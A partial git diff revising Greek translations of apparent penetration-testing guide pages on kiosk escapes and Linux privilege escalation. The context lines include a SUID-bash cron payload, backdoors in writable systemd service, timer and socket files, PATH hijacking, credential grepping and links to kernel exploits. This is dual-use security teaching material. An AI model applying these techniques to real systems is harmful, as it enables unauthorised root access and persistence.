τροφοδοσίας | Ελέγξτε αν η συσκευή επανεκκινείται όταν η τροφοδοσία διακοπεί προσωρινά | | Θύρες USB | Συνδέστε φυσικό πληκτρολόγιο με περισσότερες συντομεύσεις | -| Ethernet | Η σάρωση δικτύου ή η υποκλοπή μπορεί να επιτρέψει περαιτέρω εκμετάλλευση | +| Ethernet | Σάρωση δικτύου ή sniffing μπορεί να επιτρέψει περαιτέρω εκμετάλλευση | ## Έλεγχος για πιθανές ενέργειες μέσα στην εφαρμογή GUI @@ -122,7 +122,7 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef #### 'Εργαλειοθήκη Εικόνας' -Είναι μια εργαλειοθήκη που εμφανίζεται στην επάνω αριστερή γωνία της εικόνας όταν κάνετε κλικ. Θα μπορείτε να Αποθηκεύσετε, Εκτυπώσετε, Mailto, Άνοιγμα "Οι Εικόνες Μου" στο Explorer. Το Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer. +Είναι μια εργαλειοθήκη που εμφανίζεται στην επάνω αριστερή γωνία της εικόνας όταν κάνετε κλικ. Θα μπορείτε να Αποθηκεύσετε, Εκτυπώσετε, Mailto, Ανοίξετε "Οι Εικόνες Μου" στο Explorer. Το Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer. #### Πρωτόκολλο Shell @@ -156,10 +156,10 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef ## Τέχνασμα περιηγητών -Αντίγραφα ασφαλείας εκδόσεων iKat: +Αντίγραφα iKat εκδόσεων: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) Δημιουργήστε ένα κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('')`\ Πηγή: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -169,14 +169,14 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef ### Γεστουρές και κουμπιά - Σαρώστε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πατήστε το κουμπί Home: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή -- Σαρώστε από τη μία ή την άλλη πλευρά με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή +- Σαρώστε προς μία ή άλλη κατεύθυνση με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή - Συμπιέστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Home / Σαρώστε προς τα πάνω με 1 δάχτυλο από το κάτω μέρος της οθόνης σε γρήγορη κίνηση προς τα πάνω: Για να αποκτήσετε πρόσβαση στην Αρχική οθόνη - Σαρώστε ένα δάχτυλο από το κάτω μέρος της οθόνης μόλις 1-2 ίντσες (αργά): Η βάση θα εμφανιστεί - Σαρώστε προς τα κάτω από την κορυφή της οθόνης με 1 δάχτυλο: Για να δείτε τις ειδοποιήσεις σας - Σαρώστε προς τα κάτω με 1 δάχτυλο στην επάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro - Σαρώστε 1 δάχτυλο από την αριστερή πλευρά της οθόνης 1-2 ίντσες: Για να δείτε την προβολή Σήμερα - Σαρώστε γρήγορα 1 δάχτυλο από το κέντρο της οθόνης προς τα δεξιά ή αριστερά: Για να αλλάξετε στην επόμενη/τελευταία εφαρμογή -- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη τη διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε +- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη την διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε - Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home για μερικά δευτερόλεπτα**: Για να αναγκάσετε μια σκληρή απενεργοποίηση - Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home γρήγορα**: Για να τραβήξετε ένα στιγμιότυπο οθόνης που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα, καθώς αν τα κρατήσετε για μερικά δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση. @@ -190,12 +190,12 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef | ⌥ | Επιλογή (Alt) | | ⇧ | Shift | | ↩ | Επιστροφή | -| ⇥ | Καρτέλα | +| ⇥ | Tab | | ^ | Έλεγχος | | ← | Αριστερό Βέλος | | → | Δεξί Βέλος | | ↑ | Άνω Βέλος | -| ↓ | Κάτω Βέλος | +| ↓ | Κάτω Βέλος | #### Συντομεύσεις συστήματος @@ -203,11 +203,11 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef | Συντόμευση | Ενέργεια | | -------- | ------------------------------------------------------------------------------ | -| F1 | Σβήσιμο Οθόνης | +| F1 | Σβήσιμο οθόνης | | F2 | Φωτεινότητα οθόνης | | F7 | Πίσω ένα τραγούδι | | F8 | Αναπαραγωγή/παύση | -| F9 | Παράλειψη τραγουδιού | +| F9 | Παράλειψη τραγουδιού | | F10 | Σίγαση | | F11 | Μείωση έντασης | | F12 | Αύξηση έντασης | @@ -239,7 +239,7 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef | ^⌥S (Control-Option-S) | Ενεργοποίηση ή απενεργοποίηση της ομιλίας VoiceOver | | ⌘⇧⇥ (Command-Shift-Tab) | Εναλλαγή στην προηγούμενη εφαρμογή | | ⌘⇥ (Command-Tab) | Επιστροφή στην αρχική εφαρμογή | -| ←+→, στη συνέχεια Επιλογή + ← ή Επιλογή+→ | Πλοήγηση μέσω Dock | +| ←+→, στη συνέχεια Επιλογή + ← ή Επιλογή+→ | Πλοήγηση μέσω της Βάσης | #### Συντομεύσεις Safari diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 3c51d00ee..e612c2298 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,13 +6,13 @@ ### OS info -Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που εκτελείται +Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Διαδρομή +### Path Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία: ```bash @@ -32,10 +32,10 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικούς **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε: +Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Επίσης, ελέγξτε αν **είναι εγκατεστημένος κάποιος μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια). +Επίσης, ελέγξτε αν **είναι εγκατεστημένος οποιοσδήποτε μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -160,9 +160,9 @@ rpm -qa #Centos > [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα δείξουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται κάποιες εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ -## Processes +## Διαδικασίες -Ρίξτε μια ματιά σε **ποια διαδικασία** εκτελείται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;) +Ρίξτε μια ματιά σε **ποιες διαδικασίες** εκτελούνται και ελέγξτε αν κάποια διαδικασία έχει **περισσότερα δικαιώματα από ό,τι θα έπρεπε** (ίσως μια tomcat που εκτελείται από τον root;) ```bash ps aux ps -ef @@ -173,7 +173,7 @@ top -n 1 ### Παρακολούθηση διαδικασιών -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων. +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων. ### Μνήμη διαδικασίας @@ -182,7 +182,7 @@ top -n 1 Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**. > [!WARNING] -> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή**, πράγμα που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας. +> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να απορρίψετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας. > > Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > @@ -276,7 +276,7 @@ Press Ctrl-C to end monitoring without terminating the process. #### Χειροκίνητο παράδειγμα -Αν διαπιστώσετε ότι η διαδικασία αυθεντικοποίησης εκτελείται: +Αν διαπιστώσετε ότι η διαδικασία του αυθεντικοποιητή εκτελείται: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator @@ -348,7 +348,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys wildcards-spare-tricks.md {{#endref}} -### Επικαλύψεις σε cron script και symlink +### Επικαλύψεις cron script και symlink Αν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα: ```bash @@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς. +Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί έναν **φάκελο όπου έχετε πλήρη πρόσβαση**, ίσως θα ήταν χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς. ```bash ln -d -s ``` @@ -378,18 +378,18 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ``` ## Υπηρεσίες -### Γράψιμα _.service_ αρχεία +### Γραφτά _.service_ αρχεία -Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, **μπορείτε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία είναι **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ +Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε `.service` αρχείο, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο .service αρχείο με **`ExecStart=/tmp/script.sh`** -### Γράψιμα δυαδικά αρχεία υπηρεσιών +### Γραφτές δυαδικές υπηρεσίες Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε δυαδικά αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται. ### systemd PATH - Σχετικές Διαδρομές -Μπορείτε να δείτε την PATH που χρησιμοποιεί το **systemd** με: +Μπορείτε να δείτε τη διαδρομή PATH που χρησιμοποιεί το **systemd** με: ```bash systemctl show-environment ``` @@ -405,7 +405,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ## **Χρονοδιακόπτες** -Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα. +Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή τα γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα. Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με: ```bash @@ -419,7 +419,7 @@ Unit=backdoor.service ``` Στην τεκμηρίωση μπορείτε να διαβάσετε τι είναι η Μονάδα: -> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ταυτόσημα, εκτός από το επίθημα. +> Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα. Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να: @@ -435,7 +435,7 @@ Unit=backdoor.service sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας έναν symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` +Σημειώστε ότι ο **χρονιστής** είναι **ενεργοποιημένος** δημιουργώντας ένα symlink σε αυτόν στο `/etc/systemd/system/.wants/.timer` ## Sockets @@ -446,15 +446,15 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li **Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.) -- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **περίπτωση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία. +- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία. - `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα. -- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. +- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **για ενεργοποίηση** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. ### Writable .socket files Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\ -&#xNAN;_Note ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_ +_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_ ### Writable sockets @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP sockets -Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για .socket αρχεία αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε με: +Σημειώστε ότι μπορεί να υπάρχουν κάποια **sockets που ακούν για HTTP** αιτήματα (_Δεν μιλάω για αρχεία .socket αλλά για τα αρχεία που λειτουργούν ως unix sockets_). Μπορείτε να το ελέγξετε αυτό με: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### Γράψιμο Docker Socket -Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. +Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να ασφαλιστεί. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο. #### **Κλιμάκωση Δικαιωμάτων με Docker CLI** @@ -562,9 +562,9 @@ runc-privilege-escalation.md ## **D-Bus** -Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. +Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών. -Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, απλοποιώντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. +Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την απρόσκοπτη ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες. Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών. @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Εντολή Sudo/SUID δυαδικό αρχείο χωρίς διαδρομή εντολής -Εάν η **άδεια sudo** δίνεται σε μια μόνο εντολή **χωρίς να καθορίζεται η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH +Αν η **άδεια sudo** δοθεί σε μια μόνο εντολή **χωρίς να καθοριστεί η διαδρομή**: _hacker10 ALL= (root) less_ μπορείτε να το εκμεταλλευτείτε αλλάζοντας τη μεταβλητή PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -787,7 +787,7 @@ export -f /usr/sbin/service - Ο φορτωτής αγνοεί το **LD_PRELOAD** για εκτελέσιμα όπου το πραγματικό αναγνωριστικό χρήστη (_ruid_) δεν ταιριάζει με το αποτελεσματικό αναγνωριστικό χρήστη (_euid_). - Για εκτελέσιμα με suid/sgid, μόνο οι βιβλιοθήκες σε τυπικές διαδρομές που είναι επίσης suid/sgid προφορτώνονται. -Η κλιμάκωση προνομίων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση 